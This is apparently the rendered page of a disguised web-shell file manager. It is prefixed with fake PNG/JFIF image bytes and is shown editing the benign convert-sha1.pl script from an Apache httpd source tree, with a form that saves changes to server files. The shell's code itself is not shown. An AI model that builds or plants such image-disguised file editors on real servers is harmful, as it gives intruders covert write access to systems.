�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2F'>httpd-2.4.63</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Fsupport%2F'>support</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Fsupport%2FSHA1%2F'>SHA1</a>/</p><hr><h3>✏️ Editing: convert-sha1.pl</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/perl -w
use strict;

# This is public domain code.  Do whatever you want with it.
# It was originally included in Clinton Wong&#039;s Apache 1.3.6 SHA1/ldif
# patch distribution as sample code for converting accounts from
# ldif format (as used by Netscape web servers) to Apache password format.

my $uid=&#039;&#039;;
my $passwd=&#039;&#039;;

while (my $line = &lt;&gt;) {
  chomp $line;
  if ( $line =~ /uid:\s*(.+)/) { $uid = $1 }
  if ( $line =~ /userpassword:\s*(\{\w+\}.+)/) {
    $passwd = $1;
    $passwd =~ s/^\{crypt\}//i;  # Apache stores crypt without a magic string
  }

  if (length($line)==0) {

    if (length $uid and length $passwd) {
      print $uid, &#039;:&#039;, $passwd, &quot;\n&quot;;
    } # output if we have something to print

    $uid = &#039;&#039;;
    $passwd = &#039;&#039;;

  } # if newline
} # while something to read

# handle last entry if there isn&#039;t a newline before EOF
    if (length $uid and length $passwd) {
  print $uid, &#039;:&#039;, $passwd, &quot;\n&quot;;
}

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Fsupport%2FSHA1'>🔙 Back</a></p>